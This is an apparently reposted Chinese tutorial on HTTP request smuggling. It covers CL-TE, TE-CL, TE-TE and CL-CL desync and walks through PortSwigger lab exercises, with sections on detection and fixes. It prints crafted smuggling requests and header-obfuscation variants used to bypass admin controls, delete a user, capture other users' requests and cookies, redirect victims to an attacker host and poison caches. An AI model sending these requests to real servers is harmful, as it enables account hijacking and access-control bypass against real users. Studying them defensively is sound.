參考文章
淺析HTTP走私攻擊
SeeBug-協議層的攻擊——HTTP請求走私
HTTP 走私漏洞分析
HTTP-Request-Smuggling
簡單介紹
攻擊者通過構造特殊結構的請求,干擾網站服務器對請求的處理,從而實作攻擊目標
前提知識
注:以下文章中的前端指的是(代理服務器、CDN、WAF,負載均衡,Nginx,HAproxy等)
Persistent Connection:持久連接,Connection: keep-alive,
比如打開一個網頁,我們可以在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js),而我們知道每一次發送HTTP請求需要經過 TCP 三次握手,發送完畢又有四次揮手,當單個用戶同時需要發送多個請求時,這一點消耗或許微不足道,但當有許多用戶同時發起請求的時候,便會給服務器造成很多不必要的消耗,為了解決這一問題,在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭,當有些請求帶著 Connection: close 的話,通信完成之后,服務器才會中斷 TCP 連接,如此便解決了額外消耗的問題,但是服務器端處理請求的方式仍舊是請求一次回應一次,然后再處理下一個請求,當一個請求發生阻塞時,便會影響后續所有請求,為此 Pipelining 異步技術解決了這一個問題
Pipelining:能一次處理多個請求,客戶端不必等到上一個請求的回應后再發送下一個請求,服務器那邊一次可以接收多個請求,需要遵循先入先出機制,將請求和回應嚴格對應起來,再將回應發送給客戶端

但是這樣也會帶來一個問題————如何區分每一個請求才不會導致混淆————前端與后端必須短時間內對每個資料包的邊界大小達成一致,否則,攻擊者就可以構造發送一個特殊的資料包發起攻擊,那么如何界定資料包邊界呢?
有兩種方式: Content-Length 、 Transfer-Encoding.
Content-Length:CL,請求體或者回應體長度(十進制),字符算一個,CRLF(一個換行)算兩個,通常如果 Content-Length 的值比實際長度小,會造成內容被截斷;如果比物體內容大,會造成 pending,也就是等待直到超時,
Transfer-Encoding:TE,其只有一個值 chunked (分塊編碼),分塊編碼相當簡單,在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼,這時,報文中的物體需要改為用一系列分塊來傳輸,每個分塊包含十六進制的長度值和資料,長度值獨占一行,長度不包括它結尾的 CRLF(\r\n),也不包括分塊資料結尾的 CRLF,但是包括分塊中的換行,值算2,最后一個分塊長度值必須為 0,對應的分塊資料沒有內容,表示物體結束,
例如:
POST /langdetect HTTP/1.1
Host: fanyi.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Transfer-Encoding: chunked
2;逗號后面是注釋
qu
3;3表示后面的字符長度為3(十六進制),不算CRLF(\r\n回車換行)
ery
1
=
2
ja
2
ck
0;0表示物體結束
注:根據 RFC 標準,如果接收到的訊息同時具有傳輸編碼標頭欄位和內容長度標頭欄位,則必須忽略內容長度標頭欄位,當然也有不遵循標準的例外,
根據標準,當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候,應該回傳 400 錯誤,但是有一些方法可以繞過
(導致既不回傳400錯誤,又可以使 Transfer-Encoding 標頭失效):
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
GET / HTTP/1.1
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
產生原因
HTTP規范提供了兩種不同方式來指定請求的結束位置,它們是 Content-Length 標頭和 Transfer-Encoding 標頭,當前/后端對資料包邊界的校驗不一致時,
使得后端將一個惡意的殘缺請求需要和下一個正常的請求進行拼接,從而吞并了其他用戶的正常請求,如圖:

那么前/后端校驗不一致有那些情況呢呢呢呢???
型別
CL-TE:前端: Content-Length,后端: Transfer-Encoding
BURP實驗環境
第一次請求:

第二次請求:

原理:前端服務器通過 Content-Length 界定資料包邊界,檢測到資料包無例外通過,然后傳輸到后端服務器,后端服務器通過 Transfer-Encoding 界定資料包邊界,導致 R0oKi3 欄位被識別為下一個資料包的內容,而被送到了緩沖區,由于內容不完整,會等待后續資料,當正常用戶的請求傳輸到后端時,與之前滯留的惡意資料進行了拼接,組成了 R0OKI3POST ,為不可識別的請求方式,導致403,
TE-CL:前端: Transfer-Encoding,后端: Content-Length
BURP實驗環境
記得關 burp 的 Update Content-Length 功能
第一次請求:

第二次請求:

原理:跟 CL-TE 相似
TE-TE:前端: Transfer-Encoding,后端: Transfer-Encoding
BURP實驗環境
記得關 burp 的 Update Content-Length 功能
第一次請求:

第二次請求:

原理:前端服務器通過第一個 Transfer-Encoding 界定資料包邊界,檢測到資料包無例外通過,然后傳輸到后端服務器,后端服務器通過第二個 Transfer-Encoding 界定資料包邊界,結果為一個不可識別的標頭,然后便退而求其次使用 Content-Length 校驗,結果就跟 TE-CL 形式無異了,同樣若是前端服務器校驗第二個,后端服務器校驗第一個,那結果也就跟 CL-TE 形式無異了,
CL-CL:前端: Content-Length,后端: Content-Length
在RFC7230規范中,規定當服務器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要回傳400錯誤,但難免會有服務器不嚴格遵守該規范,假設前端和后端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行為資料包定界,而后端服務器則按照第二個Content-Length的值進行處理,
這時攻擊者可以惡意構造一個特殊的請求:
POST / HTTP/1.1
Host: example.com
Content-Length: 11
Content-Length: 5
123
R0oKi3
原理:前端服務器獲取到的資料包的長度11,由此界定資料包邊界,檢測到資料包無例外通過,然后傳輸到后端,而后端服務器獲取到的資料包長度為5,當讀取完前5個字符后,后端服務器認為該請求已經讀取完畢,便去識別下一個資料包,而此時的緩沖區中還剩下 R0oKi3,它被認為是下一個請求的一部分,由于內容不完整,會等待后續資料,當正常用戶的請求傳輸到后端時,與之前滯留的惡意資料進行了拼接,攻擊便在此展開,
CL 不為 0 的 GET 請求:
假設前端服務器允許 GET 請求攜帶請求體,而后端服務器不允許 GET 請求攜帶請求體,它會直接忽略掉 GET 請求中的 Content-Length 頭,不進行處理,這就有可能導致請求走私,
比如發送下面請求:
GET / HTTP/1.1
Host: example.com
Content-Length: 72
POST /comment HTTP/1.1
Host: example.com
Content-Length:666
msg=aaa
前端服務器通過讀取Content-Length,確認這是個完整的請求,然后轉發到后端服務器,而后端服務器因為不對 Content-Length 進行判斷,于是在后端服務器中該請求就變成了兩個:
第一個:
GET / HTTP/1.1
Host: example.com
Content-Length: 72
第二個:
POST /comment HTTP/1.1
Host: example.com
Content-Length:666
msg=aaa
而第二個為 POST 請求,假定其為發表評論的資料包,再假定后端服務器是依靠 Content-Length 來界定資料包的,那么由于資料包長度為 666,那么便會等待其他資料,等到正常用戶的請求包到來,便會與其拼接,變成 msg=aaa……………… ,然后會將顯示在評論頁面,也就會導致用戶的 Cookie 等資訊的泄露,
PortSwigger 其他實驗
- 使用 CL-TE 繞過前端服務器安全控制
BURP實驗環境
坑點:有時候物體資料里需要添加一些別的欄位或者空行,不然會出一些很奇怪的錯誤,所以我在弄的時候參照了seebug 404Team
實驗要求:獲取 admin 身份并洗掉 carlos 用戶
第一步:實驗提示我們 admin 管理面版在 /admin 目錄下,直接訪問,顯示:

第二步:利用 CL-TE 請求走私繞過前端服務器安全控制
- 第一次發包

坑點:資料物體一定要多一些其他欄位或者多兩行空白,不然報 Invalid request 請求不合法
0
GET /admin HTTP/1.1
# 若是多了兩行空白,那么 foo: bar 欄位可以不要
提示 admin 要從 localhost 登陸
-
改包后多發幾次得到

-
改包洗掉用戶

-
再次請求 /admin 頁面,發現 carlos 用戶已不存在

坑點:這里再次請求的時候記得多加兩個空行改變一下 Content-Length 的值,不然會顯示不出來,神奇 BUG?
原理:網站進行身份驗證的處理是在前端服務器,當直接訪問 /admin 目錄時,由于通過不了前端驗證,所以會回傳 Blocked,利用請求走私,便可以繞過前端驗證,直接在后端產生一個訪問 /admin 目錄的請求包,當發起下一個請求時,回應的資料包對應的是走私的請求包,如此便可以查看 admin 面板的頁面資料,從而達到繞過前端身份驗證洗掉用戶的目的,
- 使用 TE-CL 繞過前端服務器安全控制
BURP實驗環境
實驗程序與上一個實驗相仿,不過要記得關 burp 的 Update Content-Length

這里:不知道為什么一定要加 Content-Length 和其他的一些詞,不加的話會顯示 Invalid request 請求不合法 ?????????
- 獲取前端服務器重寫請求欄位(CL-TE)
BURP實驗環境
摘自seebug 404Team
在有的網路環境下,前端代理服務器在收到請求后,不會直接轉發給后端服務器,而是先添加一些必要的欄位,然后再轉發給后端服務器,這些欄位是后端服務器對請求進行處理所必須的,比如:
描述TLS連接所使用的協議和密碼
包含用戶IP地址的XFF頭
用戶的會話令牌ID
總之,如果不能獲取到代理服務器添加或者重寫的欄位,我們走私過去的請求就不能被后端服務器進行正確的處理,那么我們該如何獲取這些值呢,PortSwigger提供了一個很簡單的方法,主要是三大步驟:找一個能夠將請求引數的值輸出到回應中的POST請求
把該POST請求中,找到的這個特殊的引數放在訊息的最后面
然后走私這一個請求,然后直接發送一個普通的請求,前端服務器對這個請求重寫的一些欄位就會顯示出來,
-
第一步:找一個能夠將請求引數的值輸出到回應中的POST請求

-
第二步:利用 CL-TE 走私截獲正常資料包經前端服務器修改后發送過來的內容,并輸出在回應包中

這一步的原理:由于我們走私構造的請求包為:
POST / HTTP/1.1
Content-Length: 100
search=66666
從這里可以看到,Content-Length 的值為 100,而我們的物體資料僅為 search=66666,遠沒有 100,于是后端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞并了下一個請求的部分或全部內容,并回傳走私請求的回應,
-
第三步:在走私的請求上添加這個欄位,然后走私一個洗掉用戶的請求,

-
查看 /admin 頁面,發現用戶已被洗掉

能用來干什么
- 賬戶劫持 CL-TE
BURP實驗環境
-
構造特殊請求包,形成一個走私請求

-
查看評論

原理:(跟 獲取前端服務器重寫請求欄位 相似)
我們走私構造的請求包為:
POST /post/comment HTTP/1.1
Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
Content-Length: 900
Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy
csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa
可以看到 Content-Length 值為 900,而我們的物體資料僅為 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,遠不足900,于是后端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞并了下一個請求的部分或全部內容,并且由于是構造發起評論的請求包,所以資料會存入資料庫,從而打開頁面便會看到其他用戶的請求包內容,獲取其敏感資料,由于環境只有我一個人在玩,所以只能獲取到自己的敏感資料,
注意:一定要將 comment=aaaa 放在最后
- Reflected XSS + Smuggling 造成無需互動的 XSS(CL-TE)
BURP實驗環境
-
首先反射型 XSS 在文章頁面

-
構造請求走私 payload

-
導致無互動 XSS

- 惡意重定向
環境暫無
許多應用程式執行從一個 URL 到另一個URL的重定向,會將來自請求的 Host 標頭的主機名放入重定向URL,一個示例是 Apache 和 IIS Web 服務器的默認行為,在該行為中,對不帶斜杠的檔案夾的請求將收到對包含該斜杠的檔案夾的重定向:
請求
GET /home HTTP/1.1
Host: normal-website.com
回應
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
通常,此行為被認為是無害的,但是可以在走私請求攻擊中利用它來將其他用戶重定向到外部域,例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的請求將觸發重定向到攻擊者的網站,這將影響后端服務器處理的下一個用戶的請求,例如:
正常請求
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
惡意回應
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
若用戶請求的是一個 JavaScript 檔案,該檔案是由網站上的頁面匯入的,攻擊者可以通過在回應中回傳自己的 JavaScript 檔案來完全破壞受害者用戶,
4.快取投毒
一般來說,前端服務器出于性能原因,會對后端服務器的一些資源進行快取,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行快取投毒,從而影響后續訪問的所有用戶,
BURP實驗環境
實驗參考
檢測
檢測請求走私漏洞的明顯方法是發出一個模糊的請求,然后發出正常的“受害者”請求,然后觀察后者是否得到意外的回應,但是,這極易受到干擾,
如果另一個用戶的請求在我們的受害者請求之前命中,他們將得到損壞的回應,我們將不會發現該漏洞,這意味著在具有大量流量的實時站點上,很難證明請求走私存在而不會在此程序中影響眾多真正的用戶,即使在沒有其他流量的站點上,您也可能會因應用程式級別的怪癖終止連接而導致漏報,
為了解決這個問題,作者開發了一種檢測策略,該策略使用一系列訊息,這些訊息使易受攻擊的后端系統掛起并使連接超時,這種技術幾乎沒有誤報,抵制應用程式級別的怪癖,最重要的是幾乎沒有影響其他用戶的風險,
假設前端服務器使用Content-Length頭,后端使用Transfer-Encoding頭,我將此定位稱為CL.TE,我們可以通過發送以下請求來檢測潛在的請求走私:
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
1
R
x
由于較短的Content-Length,前端將僅轉發到 R 丟棄后續的 X,而后端將在等待下一個塊大小時超時,這將導致明顯的時間延遲,
如果超時說明兩個服務器為CL.TE,正常回應就是CL.CL,被拒絕就可能是TE.TE或者TE.CL,那么只需要在拒絕的時候,再使用第二個請求,TE.TE就會正常回應,TE.CL就會超時,
如果兩個服務器同步(TE.TE或CL.CL),請求將被前端拒絕或由兩個系統無害地處理,最后,如果以相反的方式發生(TE.CL),前端將拒絕該訊息,而不會將其轉發到后端,這要歸功于無效的塊大小“Q”,這可以防止后端中毒,
我們可以使用以下請求安全地檢測TE.CL:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
如果以相反的方式發生(CL.TE),則此方法將使用X毒化后端套接字,可能會損害合法用戶,幸運的是,通過首先運行先前的檢測方法,我們可以排除這種可能性,
這些請求可以適應目標決議中的任意差異,并且它們用于通過HTTP Request Smuggler自動識別請求走私漏洞,HTTP Request Smuggler是為幫助此類攻擊而開發的開源Burp Suite擴展,它們現在也被用在Burp Suite的核心掃描儀中,雖然這是服務器級漏洞,但單個域上的不同介面通常會路由到不同的目標,因此應將此技術單獨應用于每個介面,
修復
- 禁用后端連接的重用,以便每個后端請求通過單獨的網路連接發送,
- 使用HTTP / 2進行后端連接,因為此協議可防止對請求之間的邊界產生歧義,
- 前端服務器和后端服務器使用完全相同的Web服務器軟體,以便它們就請求之間的界限達成一致,
以上的措施有的不能從根本上解決問題,而且有著很多不足,就比如禁用代理服務器和后端服務器之間的 TCP 連接重用,會增大后端服務器的壓力,使用 HTTP/2 在現在的網路條件下根本無法推廣使用,哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1,從本質上來說,HTTP 請求走私出現的原因并不是協議設計的問題,而是不同服務器實作的問題,個人認為最好的解決方案就是嚴格的實作 RFC7230-7235 中所規定的的標準,但這也是最難做到的,
HTTP 引數污染也能算是一種請求走私 HTTP引數污染
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/3728.html
標籤:其他
